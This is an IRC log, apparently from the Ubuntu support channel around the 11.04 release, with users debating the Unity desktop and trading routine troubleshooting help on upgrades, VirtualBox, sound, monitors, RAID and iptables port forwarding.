[09:46] <vish> bashelina: so for unity, its $ ubuntu-bug unity
[09:46] <zvacet> bashelina:  try ubuntu classic option to see is it unity related
[09:46] <vish> Joemama: its in the top panel
[09:46] <Joemama> Noes, there's a bar on the left now
[09:46] <Nando> bashelina: agree with you
[09:46] <Joemama> no more of these menus on the bars I guess
[09:47] <crims0n> zomg
[09:47] <crims0n> repositories are slow
[09:47] <crims0n> should have done a clean install xD
[09:47] <krad> (its a virtual serveR)
[09:47] <rizzuh> Do I need to do anything special to upgrade from beta 2 to final?
[09:48] <loxs> folks, I just installed gnome3. It works but the default adwaita gtk theme is not there. It's not available in gnome-tweak-tool interface tab. And as a result all is ugly (redmond theme). How can I install adwaita?
[09:48] <krad> not able to restart it!
[09:48] <Flashtek> krad, sudo shutdown -r now
[09:48] <sanderd17_> Hi there. Does anyone know where I have to file a dependancy problem for natty?
[09:49] <krad> Flashtek, no shutdown cmd
[09:49] <Flashtek> krad, init command work ?
[09:50] <rizzuh> Do I need to do anything special to upgrade from beta 2 to final, aside from upgrading packages?
[09:50] <iszak> Since installing Ubuntu 11.04 my login time (for gnome) has slowed down significantly.
[09:50] <iszak> any way to fix this?
[09:50] <sanderd17_> rizzuh: no you don't
[09:50] <incorrect1> rizzuh, nope
[09:50] <crims0n> rizzuh - I don't belive so, should be good to go
[09:50] <fadax> Flashtek it says it can't find /dev/sda in fstab when i do that
[09:50] <rizzuh> alright, thanks
[09:50] <ouss999> unity it is not stable
[09:50] <marie> hi
[09:50] <incorrect1> rizzuh, i was missing some packages
[09:50] <ouss999> we need to wait for 12.04
[09:50] <zvacet> rizzuh: justdo the updates
[09:50] <iszak> ouss999, agreed
[09:50] <rizzuh> ouss999: it seems stable
[09:50] <marie> how to get  time in hh:mi:ss  for ls -l
[09:51] <iszak> rizzuh, it's relatively stable, bit buggy on dual screens tho
[09:51] <Flashtek> fadax, how about sda1/sda2/sda3 etc..etc..
[09:51] <rizzuh> iszak: oh, haven't tried that yet.
[09:51] <corinth> Hey room. Just installed a clean copy of Natty. I seem to have no sound...and whenever I try to change the volume, it hangs on "Waiting for Sound System..." Help?
[09:51] <Sonja> is there a 101 of configuring this new left bar thingy?
[09:51] <incorrect1> once you tweak unity its create, my desktop those huge sidebar icons are so fugly unless you shrink them down
[09:51] <rizzuh> iszak: Linux support for multiple monitors has been flaky at best.
[09:51] <iszak> rizzuh, I disagree, I have had good experience with gnome.
[09:52] <Sonja> yeah unity lol
[09:52] <jatt> Sonja: it is not easily configurable
[09:52] <iszak> I have used ubuntu on dual and tri screens with no issues
[09:52] <rizzuh> I've had plenty bad with just two, let alone 3. On both AMD and NVIDIA.
[09:52] <ouss999> for me i'm using 10.04 and i will not switch to unity until 12.04 is out sorry for my english
[09:52] <iszak> rizzuh, oh yeah same here with Catalyst Control centre, but hardly linux's fault.
[09:52] <bencc> anyone managed to install natty in vbox?
[09:52] <rizzuh> iszak: even on NVIDIA.
[09:52] <incorrect1> ouss999, probably a good idea
[09:52] <bencc> I'm getting a black screen after installing guest additions
[09:52] <rizzuh> iszak: though it's mostly those companies' fault.
[09:52] <iszak> exactly.
[09:53] <incorrect1> ouss999, 11.10 should show unity being much more mature
[09:53] <eigba_> incorrect1,  Do you like unity at all? Im not sure if i do or not
[09:53] <crims0n> What are everyone's thoughts on unity?
[09:53] <ilon> oh crap..
[09:53] <SuperLag> Hmm... not sure I like Unity. It will sure take some getting used to.
[09:53] <iszak> the only good thing for me that came from 11.04 is compiz grids and refreshed versions.
[09:53] <rizzuh> Good move from old interface.
[09:53] <ilon> just upgraded, unity is.... different.
[09:53] <incorrect1> eigba_, i like the amount of screen real estate i get back
[09:53] <thodoros> problem with unity on net-book....
[09:53] <rizzuh> And finally an easy app search like on Vista/7.
[09:53] <sanderd17_> bencc: yes, followed this instructions: http://www.webupd8.org/2010/12/how-to-test-ubuntu-1104-with-unity-in.html
[09:53] <incorrect1> i like the sidebar now i've tweaked it
[09:53] <rizzuh> Start -> typing
[09:53] <jatt> eigba: -> https://bugs.launchpad.net/unity/+bug/648180
[09:53] <jatt>  
[09:53] <ubottu> Ubuntu bug 648180 in unity (Ubuntu) "Unity is not Gnome2" [Undecided,Opinion]
[09:53] <eigba_> Unity looks ok I guess, just not sure if I like it
[09:53] <ouss999> unity is good but it will need some time to be mature
[09:54] <crims0n> is Unity gnome based?
[09:54] <zvacet> eigba_:  same here
[09:54] <SuperLag> jatt: haha, that's funny!
[09:54] <corinth> I have no sound. Altering the sound hangs a message: "Waiting for Sound System"...please help.
[09:54] <iszak> I would choose unity for netboots/laptops but definitely not my desktop and I hate that they're going to remove gnome  (easily installed tho)
[09:54] <DrManhattan> wheres the settings, preferences, administration, etc?
[09:54] <ilon> where did my taskbar go?! :<<
[09:54] <incorrect1> ilon, its on the left hand side
[09:54] <eigba_> iszak, I asked the same thing. I had to use the damn search feature
[09:54] <ilon> incorrect1: no, thats a launcherbar :(
[09:54] <eigba_> (
[09:54] <bencc> sanderd17_: I did but getting a black screen
[09:55] <Toek> ive donwloaded the linuxmint (http://www.linuxmint.com/edition.php?id=80) ISO and trying to make a bootable usb with startup disk creator. but the iso wont stick when i choose it any ideas?
[09:55] <incorrect1> ilon, all your tasks should be there
[09:55] <DrManhattan> hardly anything is there
[09:55] <zvacet> incorrect1:  how do you do it link if you have any please
[09:55] <ilon> incorrect1: so they should, but its more of a "programbar" than a taskbar
[09:55] <sanderd17_> bencc: you said you installed the guest addidtions? they dont work with unity yet
[09:55] <incorrect1> zvacet, do what customise the sidebar?
[09:56] <crims0n> so unity is not at all based on gnome?
[09:56] <iszak> Future version of Ubuntu: Gubuntu? Ubuntu for unity, Gubuntu for Gnome?
[09:56] <bencc> sanderd17_: I've installed virtualbox-ose-guest-dkms virtualbox-ose-guest-utils virtualbox-ose-guest-x11
[09:56] <DrManhattan> wheres the settings, preferences, administration, etc?
[09:56] <MJBrune> i cant get my Realteck alc272x to work with the mic, anuone?
[09:56] <jatt> crims0n: no, it is a totally new desktop environment
[09:56] <ouss999> what is the best irc client
[09:56] <incorrect1> ilon, well to me it encompasses all the same functionality, list of apps and their status
[09:56] <eigba_> Ive already farted out 2 butt turds trying to figure out if i like unity or not
[09:56] <zvacet> incorrect1:  yes I just started t ouse it so I don't know much about unity
[09:56] <jatt> crims0n: now there is gnome, kde, xfce and unity
[09:56] <incorrect1> oh wait you can't close them from the sidebar
[09:56] <incorrect1> my mistake
[09:56] <ilon> accessing setting seems to be a mess now that they arent grouped under a settingsmenu any longer.
[09:56] <ilon> incorrect1: how can i customize it?
[09:56] <Diverdude> in bash, i have variable $i, how do i concatenate it with a c in a command? so that i can do myprogram $i ['c' $i]     so if i has the value  'myfile.png'  it would be myprogram myfile.png cmyfile.png   ?
[09:56] <sanderd17_> bencc: I did use the oracle version of VB, not the OSE version
[09:57] <crims0n> ouss999 I like irssi, if you are not afraid of the console
[09:57] <Sonja> unity is pretty, but not exactly practical
[09:57] <eigba_> ilon, what I did was use the search feature to find settings then pulled it over to the lauchbar. probally not the most productive way though
[09:57] <ouss999> i will give it a try
[09:57] <eigba_> Sonja, Agreed
[09:57] <rizzuh> But seriously, can we get some configuration options for the notifications? The 10 second timeout is FAR too long, especially for IMs. And it doesn't show multiple notifications either.
[09:57] <ilon> incorrect1: problem is that since i usally have alot o windows open, the old taskbar was rather nice for me to switch between windows
[09:57] <bencc> sanderd17_: I tried both the oracle iso guest additions and ose guest additions from apt but still getting a black screen
[09:57] <incorrect1> ilon, same here
[09:57] <Sik> OK, so I tried both reinstalling the graphics driver and running dpkg off the recovery menu, either way 11.04 still won't boot properly >_< Sometimes it hangs after the login screen, sometimes it outright kicks me into a text mode terminal :/
[09:57] <zvacet> Sonja:  I'm not used to big icons
[09:58] <sanderd17_> bencc: sorry, can't help you further
[09:58] <bencc> sanderd17_: thanks
[09:58] <ilon> eigba_: what do you mean by "settings"? since ubuntu dosnt have a unified way of handeling settings..
[09:58] <eigba_> I wish they would of went with gnome 3.
[09:58] <incorrect1> to customise the sidebar you install the 'compizconfig-settings-manager' then go to the unity settings
[09:58] <iszak> Must say, a lot of back lash towards unity.. hopefully the next version will be better e.g. you can arrange icons, position the bar.
[09:58] <ilon> incorrect1: i know the concept from OS X, but it feels half done :(
[09:58] <incorrect1> you also want to turn off the 'back light' damn its so ugly with all those colours
[09:58] <ojii> is there a way to move the unity bar from the left to the right?
[09:59] <zvacet> incorrect1:  and without compiz
[09:59] <incorrect1> ilon, i agree,
[09:59] <bashelina> zvacet, im using classic,  either natty got more bloated or ubuntu discarded some drivers ??
[09:59] <jatt> ojii: no
[09:59] <incorrect1> zvacet, you are using unity 2d?
[09:59] <ilon> incorrect1: guess i have to switch to something else as usual :(
[09:59] <Sonja> i'm trying to customize/optimize the Unity bar ... i don't need the workspace switcher
[09:59] <incorrect1> i do not know why unity was pushed out so early
[09:59] <eigba_> well there are several desktop managers most or very old, maybe this unity can progress?
[09:59] <eigba_> are*
[09:59] <knick> Hi guys - Just downloaded and burned ubuntu 11.04 - Tried it on 2 different Lenovo 3000 N200 notebooks but on both it won't start
[09:59] <knick> I get a mount error and get thrown into busybox
[10:00] <ilon> incorrect1: yeah, seems too early, shouldve came as optional for another few months
[10:00] <incorrect1> ilon, i bet in a week i will get irritated and go back to gnome2 or find a unity ppa
[10:00] <zvacet> incorrect1:  well,I don't know and I can not check because I'm not on ubuntu right now
[10:00] <pisahmet> hi
[10:00] <ojii> jatt, that's pretty bad... I have a 4 screen (two notebooks) setup, and now I have the bar in the middle on the right pair.... and it's hard to activate it since i use synergy and the mouse just moves to the left pair...
[10:00] <Diverdude> where is gs installed in ubuntu?
[10:00] <ilon> incorrect1: i'll probably just switch back to XFCE / FFWM again
[10:00] <incorrect1> my biggest irritation so far is the 2x2 virtual desktop
[10:01] <zvacet> bashelina:  I can be both I don't know
[10:01] <jatt> ojii: you can use gnome, choose it from the login window
[10:01] <incorrect1> i am used to gnome2 1x4 arrangement
[10:01] <om26er> incorrect1, try in ccsm
[10:01] <incorrect1> ilon, 11.10 will see it mature
[10:01] <ojii> jatt, but other than that I like unity :(
[10:01] <ilon> incorrect1: yeah, i can only imagine how bad that would be on my workstation at home with 3x2 physical monitors
[10:01] <incorrect1> om26er, i've already done all i want with ccsm
[10:01] <Sonja> i always used 1x1  :)
[10:01] <om26er> Sonja, ;)
[10:02] <marie> knick:  I am  not aware much updates these days, is ubunt 11.04 desktop version is available ?
[10:02] <ilon> oh well, gonna switch WM, brb
[10:02] <tomasz> marie yes
[10:02] <knick> marie: Yes it is, it was released yesterday.
[10:02] <Hoyt> possible to remove unity totally and switch back to old interfaces ?
[10:02] <jatt> yes
[10:02] <Sonja> hoyt i'm considering that too
[10:02] <tomasz> marie when you log to ubuntu you change desktop or netbook
[10:02] <corinth> I have no sound. Altering the sound hangs a message: "Waiting for Sound System"...please help.
[10:02] <Hoyt> unity is really bad for me
[10:03] <rzx237> can I run wget through tor proxy?
[10:03] <crims0n> meh... considering moving to arch
[10:03] <iszak> rzx237, check the manual page
[10:03] <pisahmet> i have upgraded my maverick to 11.04, but i have a big problem. it doesn't start with new kernel (2.6.38), it looks like a xorg problem. but it works well with old kernel (2.6.35) pc specs >> amd athlon x2 5200+, asus m2a-vm, ocz 2 gb ddr2 800 mhz ram and palit sonic gts 450
[10:03] <dfs> i'm installing 11.04 right now to take a look on this unity heh
[10:03] <kavurt> how can i install unity in kubuntu? what's the package name?
[10:04] <Sonja> http://www.omgubuntu.co.uk/2011/04/our-complete-guide-to-unity-in-ubuntu-11-04/
[10:04] <tomasz> kavurt,  better install kde on ubuntu ;)
[10:04] <ilon> much beter.
[10:04] <decoder> im getting frequent kernel panic/freezes since upgrade from natty alpha to natty stable
[10:04] <decoder> :(
[10:04] <iszak> kavurt, sudo apt-get install unity
[10:04] <decoder> twice today already
[10:05] <iszak> yeah that kernal better panic with unity on it's system
[10:05] <genupulas> !file encryption
[10:05] <iszak> right I'm out, later.
[10:06] <tomtit> morning all
[10:06] <dfs> morning
[10:06] <zelhar> Hello. I started an upgrade and it is now on the "getting new package" stage. Is it safe to cancel the upgrade because the download speed is too slow and I want to find a better server ?
[10:06] <ilon> unity still have to mature some before i would consider to use it
[10:07] <ouss999> ilon, i agree
[10:07] <corinth> zelhar, Yes
[10:07] <jatt> zelhar: I think it is safe while it's downloading packages
[10:07] <jatt> zelhar: but once it starts to install/configure if you abort it can get messy
[10:07] <ouss999> jatt, i agree
[10:08] <zelhar> I see
[10:08] <ilon> ouss999: or maybe ubuntu needs to mature.. still no unified place for settings :(
[10:08] <ibqn> is 11.04 lts?
[10:08] <zelhar> well then I guess I am gonna try this
[10:08] <ouss999> ibqn, no
[10:08] <vox> ok, how do i remove unity and go back to the standard desktop?
[10:08] <genupulas> ! Encryption
[10:08] <ubottu> For information on setting up encrypted private directories (8.10+) see https://help.ubuntu.com/community/EncryptedPrivateDirectory
[10:09] <Sterist> is there a command to empty the swap contents back into physical ram?
[10:09] <azatoth_work> is it possible to open multiple terminals in natty?
[10:09] <ilon> vox: just choose "classic ubuntu" from the login
[10:09] <DrManhattan> you know, I dont think im happy at all with this gui layout
[10:09] <vox> ilon: orad
[10:09] <DrManhattan> there's no easy way to get to the things I like
[10:10] <Sonja> http://www.omgubuntu.co.uk/2011/04/10-things-to-do-after-installing-ubuntu-11-04/   item #6
[10:10] <DrManhattan> especially system preferences and the such
[10:10] <vox> DrManhattan: it'd be great on a tablet
[10:10] <jatt> you can switch back to classic gnome
[10:10] <ilon> jatt: just choose "classic ubuntu" from the login
[10:10] <rzx237> yes thanks guys, now I can running wget through tor proxy, just need to read the manual for a while.
[10:10] <ndxtg> what is ubuntu offtopi channel?
[10:10] <Sonja> we need an #ihateunity :)
[10:11] <knick> So anyone else had problems starting the live-cd of Ubuntu 11.04?
[10:11] <fadax> Flashtek i tried dev/sda1 up to 10 and it said the same thing for all of them
[10:12] <DrManhattan> how do I change the login type if I have the system set to log in automatically
[10:13] <vox> hm i have no option to change it at log in
[10:14] <vox> ahh nm
[10:14] <vox> found it
[10:15] <green_> on this upgrade glxgears work but compiz won't any ideas?
[10:16] <tomasz> glxgears how mony fps ?
[10:17] <yi`zhi> i have made peace with zeitgeist...for now -_-
[10:17] <ilon> vox: sorry, forgot to say you have to click your name in the list first.
[10:18] <Sik> I updated to 11.04 using the updater and it won't boot properly now. Sometimes it (or the X Server?) hangs after the login screen, sometimes it outright kicks me into the terminal. I can only boot using safe mode in the recovery kernel :/ Help?
[10:18] <vox> ilon: all good
[10:19] <Asad2005> Can someone help me upgrade, i am getting Error authenticating tzdata and tzdata-java
[10:19] <Juanatas> hello can someone help me... I just installed the latest Ubuntu and my wireless card is not being detected... Help me please... I installed it on on acer aspireone laptop...
[10:19] <ilon> vox: we just have to wait for unity to grow up and move out i gues.
[10:19] <Asad2005> from amd64 10.10 to 11.04
[10:19] <Phylock> anyone know of a good guide to unity?? how to start using it?? is i possible to customize it??
[10:20] <vox> ilon: eh i can see some people finding it very useful
[10:20] <yi`zhi> Phylock, i'm looking into it myself
[10:20] <vox> it just doesnt suit my needs
[10:20] <Phylock> :)
[10:20] <Tetsuo55> hello, how do i enable the weather info next to the clock in unity???
[10:20] <tomasz> Sik ?
[10:20] <DrManhattan> how do I change the login type if I have the system set to log in automatically?
[10:21] <BossHog> .
[10:21] <yi`zhi> anyone know how i can display bandwidth usage and system resources at the top in narwhal?
[10:21] <Sik> tomasz: well, I just want Ubuntu to boot properly (and with the real graphics drivers) >_>
[10:21] <ilon> vox: sure, if your on a tablet / phone, then it probably is nice
[10:22] <incorrect1> i love some of the great wm theme designs, i love the fact that someone thought it would be a great idea to but a tab in the bottom right to cover up part of the app
[10:22] <Psychobudgie> yi`zhi, you can't as far as I'm aware
[10:22] <incorrect1> so useful hiding firebug from me
[10:22] <listpi> how to install udisks utility in ubuntu 9.10
[10:22] <jatt> Tetsuo55: you can't. there are no applets in unity
[10:23] <Tetsuo55> jatt: :(((((
[10:23] <Asad2005> Can someone help me upgrade, i am getting Error authenticating tzdata and tzdata-java
[10:23] <jatt> Tetsuo55: I know. canonical claims nobody uses applets :(
[10:24] <ilon> incorrect1: irony, worthless on the internet since -90s
[10:24] <thatcode> Hi. I've just upgraded to 11.04. I have a multi-monitor set up. The hardware seems to think my right hand monitor is the primary (it's on VGA, the left hand is on DVI). This is causing problems when I boot with both monitors. The Application bar appears on the left side of the right monitor, which really screws things up, my graphics go on my right monitor, and I don't get any bars to launch programs or even shut down.
[10:24] <ddddddddddd> a question
[10:24] <ddddddddddd> i need reinstall, should i take 11.04 or 10.04
[10:24] <thatcode> Any ideas how to get it to put the bar in the correct place?
[10:25] <jatt> thatcode: you can't the bar position is not configurable in unity
[10:25] <Tetsuo55> jatt:  thats insande, the built-in weather is one of the best things about the ubuntu default clock
[10:25] <incorrect1> ilon, i don't have any milk for my coffee this morning
[10:25] <ddddddddddd> a question
[10:25] <ddddddddddd> i need reinstall, should i take 11.04 or 10.04
[10:25] <jatt> Tetsuo55: I agree I use that applet too
[10:25] <KNUBBIG> good morning everyone :)
[10:25] <swordz> jatt, So basically, I can't use my second screen?
[10:25] <swordz> I don't believe that
[10:25] <jatt> swordz: you can switch back to the classical interface
[10:25] <Phylock> thatcode: same setup, same problem here :d
[10:25] <ChristianAdamski> Hi, 11.04 Gnome2: Nautilus is opening my ftp-Bookmarks with Firefox, despite me changing the url-handler to nautilus and rebooting?
[10:26] <jatt> swordz: it's true there is no way to configure the bar position in unity
[10:26] <ilon> incorrect1: you can take some of mine, my coffe allmost came in return this morning :(
[10:26] <KNUBBIG> you can use two displays with displays?
[10:26] <swordz> jatt, I want the bar on the left
[10:26] <KNUBBIG> I do it
[10:26] <swordz> I just want Ubuntu to pick the other screen
[10:26] <swordz> That's a lower level than Unity
[10:26] <knick> swordz: use xrandr
[10:27] <swordz> It's X that's getting this wrong, not Unity (imo)
[10:27] <KNUBBIG> oh I'm not rly awoken, I type crap. I meant you can use it with Unity :)
[10:27] <paddy_> I have an i7 processor which is not loaded much at all during disk writes but my 3-disk raid-5 array write speed is 30mb's whereas its read is 2oomb's
[10:27] <yi`zhi> ok i got an interesting problem. i use the windows key (Super L) as a shortcut for terminal. it also happens to be the shortcut for narwhal's dash. i tried changing the shortcut for narwhal dash to CTRL+SuperL but then terminal doesn't pop up anymore. when i hit SuperL, BOTH dash and terminal pop up.
[10:27] <Tetsuo55> jatt: did we lose the battery too?
[10:28] <ddddddddddd> yesit was an example
[10:28] <ddddddddddd> but ccpd dont it
[10:28] <ddddddddddd> i need reinstall, should i take 11.04 or 10.04
[10:28] <knick> ddddddddddd: best to stay up to date
[10:28] <ddddddddddd> ok
[10:28] <jatt> Tetsuo55: I think they still have it
[10:28] <knick> lol
[10:29] <jatt> Tetsuo55: but things like the system monitor applet are gone
[10:29] <_ruben> paddy_: that's a common issue with raid5
[10:29] <paddy_> _ruben even with a fast processor?
[10:29] <_ruben> paddy_: yes, the disks are the limiting factor
[10:30] <quick_nick> ddddddddddd: i have both and prefer 10.04 over 11.04 right now.  been having bug problems with 11.04.  my biggest issue is shutdown problems were introduced with the upgrade on an ati video card machine
[10:30] <paddy_> _ruben how so, is it their seek time?
[10:30] <greentea> new ubuntu good?
[10:30] <paddy_> greentea: FANTASTIC
[10:30] <knick> doesnt boot for me
[10:30] <yi`zhi> it's okay. minus zeitgeist
[10:31] <knick> I get mount errors when I try to start the live cd
[10:31] <bangLUCE> hi. how can I make a non-root program open port 80 ?
[10:31] <paddy_> oh you must disable twinview before uppgrading if you are using it
[10:31] <knick> bangLUCE: use iptables to forward
[10:31] <knick> Though that iptables command must be run as root
[10:31] <_ruben> paddy_: with raid5 over 3 disks, the read actions are nicely spread over all 3 disks, the writes however results writes on 2 or even 3 disks simultaneously: not much performance gain over a single disk
[10:31] <Guest90444> HI, can I upgrade from 10 to 11 from an ISO?
[10:31] <paddy_> bangLUCE: if you do not have root permissions you cant
[10:32] <yi`zhi> so... since i can't change the shortcut key for terminal in control center > keyboard shortcuts, how do i do it using the terminal?
[10:32] <knick> bangLUCE: iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port <otherport>
[10:32] <mbrochh> what is the name of that fancy new desktop that comes with 11.04?
[10:32] <mbrochh> is it unity?
[10:32] <lupzz> is wayland supposed to be adopted by ubuntu 11.10?
[10:32] <paddy_> _ruben what can i do increase the speed?
[10:32] <_ruben> paddy_: more disks ;)
[10:32] <jatt> mbrochh: yes, unity
[10:33] <paddy_> _ruben, so if i add another disk to the raid 5 array it will be faster on the writes?
[10:33] <_ruben> paddy_: though write performance will never be really great with raid5, if you want both read and write performance, go for raid10
[10:33] <mbrochh> does anybody know if it is possible to enjoy unity when running ubuntu on a virtualbox?
[10:33] <mbrochh> i can't seem to be able to activate it
[10:33] <bangLUCE> knick: thanks. and how can I remove that rule, when I want?
[10:33] <DrManhattan> how do I change the login type if I have the system set to log in automatically?
[10:34] <paddy_> mbrochh: i have tried that for hours and could not get it to work
[10:34] <mbrochh> paddy_, damn
[10:34] <DrManhattan> Im trying to switch to classic gnome
[10:34] <knick> bangLUCE: change -A PRE.. to -D PRE..
[10:34] <Psychobudgie> mbrochh, I'm having trouble enjoying it full stop
[10:34] <_ruben> paddy_: it also highly depends on your io patterns
[10:34] <paddy_> Psychobudgie: whats not to like?
[10:34] <Maddogm> mbrochh, must be using virtualbox 4.0.6
[10:35] <bangLUCE> knick:  iptables -t nat -D PREROUTING -p tcp --dport 80 -j REDIRECT --to-port <otherport> ?
[10:35] <knick> bangLUCE: yup
[10:35] <_ruben> paddy_: the real performance gains with raid5 are when using a hardware raid controller with a battery backed write chache
[10:35] <_ruben> cache
[10:35] <mbrochh> Maddogm, i am using latest virtualbox 4.0.6 - any special settings to do to get it working?
[10:35] <mfraz74> Upgraded my netbook to 11.04 this week and now whenever I use rsync to sync my files over a wireless connection, the connection keeps dropping
[10:35] <lupzz> anyone knows if wayland is supposed to be adopted by ubuntu 11.10?
[10:35] <_ruben> paddy_: or use SSDs ;)
[10:35] <paddy_> _ruben i have a ssd can i use that as  a cache,  how do i use a cache?
[10:36] <petey> mbrochh, I had to reinstall the 4.0.6 guest additions to get unity to work and enable 3D acceleration in the settings
[10:36] <gare> DrManhattan:  the easiest way I found to switch from 11.04 to classic gnome is to install kubuntu-desktop, and select kdm as the default .  This gives options of different desktops ...
[10:36] <DrManhattan> thats ridiculous, there's got to be an easier way
[10:36] <_ruben> paddy_: only highend hardware raid controllers can use ssds as cache (and you'd need an enterprise class ssd for that as well), zfs can use ssds as cache as well though
[10:37] <gare> well, please let me know ..
[10:37] <paddy_> _ruben: what about lvm
[10:37] <_ruben> paddy_: wont make a difference afaik
[10:37] <gare> what happens when you remove default desktop file from /x11 ?
[10:38] <_ruben> paddy_: when write performance is needed, one usually just doesnt use raid5 :)
[10:38] <Maddogm> mbrochh, what petey said, plus you may need to adjust the memory quantities (check video especially)
[10:38] <paddy_> what is the best way to use a ssd as a raid 5 cache?
[10:38] <mbrochh> Maddogm, working on it...
[10:38] <mbrochh> Maddogm, it worked! great!
[10:38] <paddy_> _ruben: do you think i should buy an other disk and switch to raid10?
[10:38] <josefrichter> guys, tried to update Ubuntu under VirtualBox and now getting error: environment block too small - what does that mean please?
[10:38] <mbrochh> petey, Maddogm thanks for your help
[10:39] <debd> josefrichter: may be your virtual HDD size is too small for that
[10:39] <_ruben> paddy_: it all comes down to your needs/wishes/wallet basically, but raid10 is quite likely to give you much better write performance than raid5
[10:39] <petey> mbrochh, no probs - obviously unity doesn't work so well unless you fullscreen it unless you disable the auto-hide
[10:39] <gare> DrManhattan:  perhaps take a look at this file:  /etc/init/gdm.conf
[10:40] <paddy_> dualscreen unity works really well
[10:41] <Rehan> wow that was a complete disappointment. 11.04 install fails during install and freezes up about 5 minutes before being completely finished over and over again.
[10:41] <DrManhattan> thanks
[10:42] <beekor> I been reading a bit about app indicators and ppa's and shit.
[10:42] <thegoodcushion> Hi everyone.  My HP Deskjet 2000 works in Windows 7 and OS X perfectly.  But I can't get it to work on Ubuntu 10.04 32-bit.  Ubuntu thinks that it's printing, and the powerlight flashes as though the printer's thinking, but no output comes out.  Any ideas?
[10:42] <beekor> hmm.
[10:42] <beekor> it may take a long while, cushion.
[10:42] <beekor> like minutes.
[10:42] <thegoodcushion> beekor: even though it doesn't under OS X/Windows?
[10:42] <beekor> i get that sometimes printing pdfs.
[10:43] <beekor> yeah.
[10:43] <thegoodcushion> okay... I'll test it again and give it a few minutes
[10:43] <beekor> if it's flashing, you most likely have something coming to the printer eventually.
[10:47] <Vustom> -.-'
[10:47] <bencc> can I use unity with 2d?
[10:47] <bin_bash> Hello. I can't get the internal mic working. 11.04 on MBP 8,1 running xfce
[10:47] <mtlife> hey how can i install unity on an 11.04 box without gnome installed previously? I tried apt-get install unity, which worked fine downloaded a few packages but no unity (only a desktop no menu or launcher bar)
[10:47] <Soothsayer> my dual monitors are not being detected
[10:47] <Rehan> bencc: nope, it requires compiz, which requires 3D acceleration
[10:47] <Soothsayer> I have an XFX 9600 GT
[10:47] <paddy_> bencc yes
[10:47] <Soothsayer> and once I installed ubuntu, it gave me the drivers prompt.. and I installed the driver from there.
[10:48] <Soothsayer> It's got the resolution right, but I don't see the second monitor being detected
[10:48] <paddy_> bencc there is a package that lets you
[10:48] <bencc> paddy_:  how? I have problems with 3d when natty is in vbox?
[10:48] <Feyisayo1> I want to upgrade from 10.10 to 11.04. Can I do that If I have the ISO of 11.04 already downloaded?
[10:48] <bencc> paddy_:  what package?>
[10:48] <beekor> yeah, i have dual monitor issues too.
[10:48] <paddy_> bencc search for unity 2d in software center
[10:48] <Soothsayer> Feyisayo1: do you have 32bit or 64bit ?
[10:48] <bencc> paddy_: thanks. did you try it. does it work ok?
[10:49] <kandinski> I am having a weird interaction between irssi/gnome-terminal/natty: alt-w, which before upgrading to natty took me to the 12th irssi screen, on gnome terminal selects all text in the terminal, despite alt-w not being listed as a keyboard shortcut either on gnome-terminal or on gnome
[10:49] <Feyisayo1> I think it's 64-bit. I run AMD Athlon X2
[10:49] <BlouBlou> I am having a problem with ubuntu. It says I have NVidia GeForce 5500 FX drivers 'enabled', but they aren't being used. How to fix it? I want to use them, but there isn't any option to do that
[10:49] <kandinski> any idea what it can be?
[10:49] <Soothsayer> Feyisayo1: hmm no, then you have to use the internet update method. I've been trying it too.
[10:49] <paddy_> To everyone who has had difficulty using dual monitors! You must not use twinview, it will make compiz segfault
[10:49] <Soothsayer> paddy_: I'm not using anything.. just installed a fresh copy
[10:49] <haseeb> hi, i am having resolution problem after installing nvidia 7300GS drivers !! help plz
[10:49] <Feyisayo1> Soothsayer: I see
[10:50] <beekor> Any ideas how to get my monitors to detect themselves in the Monitors program ?
[10:50] <paddy_> Soothsayer: backup /etc/X11/xorg.conf then delete it, log in again
[10:50] <thegoodcushion> beekor: about my printing problems - I just tested it again.  When I send the thing to the printer, the power button goes fully bright like it just woke up.  It doesn't flash.  It's not printing.  But Ubuntu says "Idle - Finished page 1".  Any ideas?
[10:50] <beekor> one issue has been those becoming unknown.  and I'm not sure where they're located.
[10:50] <gare> DrManhattan: 1st aspect of your question -- To ask for password on login , go to Users , select your user, and then Change password.  Uncheck 'Don't ask for password on login'.
[10:51] <Vustom> So here's my problem, I have a 500GB HDD, and at first I only had Windows on it, then I installed Ubuntu 10.10 a few months ago and had both OS's side-by-side, and I used the Windows (HP) Recovery Manager today to reformat my HDD so I started clean with a fresh install of Windows and a 500GB HDD, and was planning on installing Ubuntu 11.4 side-by-side with Windows again, but when I reformatted it only reformatted the 250GB's of the W
[10:51] <Soothsayer> paddy_: I have an XFX 9600 GT.. it prompted me to install some NVIDIA accelerated graphics drivers (recommended)
[10:51] <Vustom> Windows and Ubuntu 11.4 on the other 250GB HDD, how do I fix this...?
[10:51] <Soothsayer> (version current)
[10:51] <beekor> hmmm, not sure cushion.  is it usb or parallel ?
[10:51] <thegoodcushion> beekor: USB
[10:51] <djdb> Hi! Ubuntu 11.04 server requires firmware for my hardware (qlogic FC, 10g broadcom ethernet). Where can I find it? Ubuntu installer wants CD with this files...
[10:51] <Soothsayer> "This driver is activated but not currently in use."
[10:51] <Soothsayer> why is it saying that?
[10:51] <DrManhattan> gare - thank you
[10:51] <paddy_> Soothsayer: install them, if it does not work do what i said befire
[10:52] <knick> Vustom: when you install Ubuntu on windows (dual boot) in the installer wizard you'll receive a slider to slide the sizes of the harddisks, there you can change the partition sizes
[10:52] <paddy_> Soothsayer: try and find an option to enable it
[10:52] <haseeb> UBUNTU 11.04 low resolution problem after installing nvidia drivers!!! fix please???
[10:52] <beekor> not sure, cushion.  Does it detect as the correct printer model ?
[10:52] <knick> Vustom: It's not really 'obvious' but it shows the windows and ubuntu partition in a window and you can slide it..
[10:52] <gare> glad could help
[10:52] <thegoodcushion> beekor: Is there some driver other than the default CUPS driver that comes with Ubuntu?  It's a HP Deskjet 2000.  Yes it detects as the right model
[10:52] <Vustom> knick, I tried that but only had the option of 250GB's, which is how much space I gave the Windows partion last time..
[10:52] <Soothsayer> paddy_: there is no such option
[10:52] <beekor> hmm, not that i know of, cushion.
[10:52] <paddy_> brb if anyone wants to mssg me pm me, do it doesnt get lost
[10:52] <Feyisayo1> I made a USB startup disk of 10.10 (32-bit) and gave to a friend to install with his Windows using WUBI. He says during the installation WUBI tried to download another ISO. He running Intel core 2 duo. Did I give the right thing?
[10:52] <knick> Vustom: Hmm, you might have partitioned it before? I'm not sure how to do that manually though
[10:53] <Vustom> It's like the reformat only reformatted the Windows partion and not the Ubuntu as well.
[10:53] <Vustom> I did...
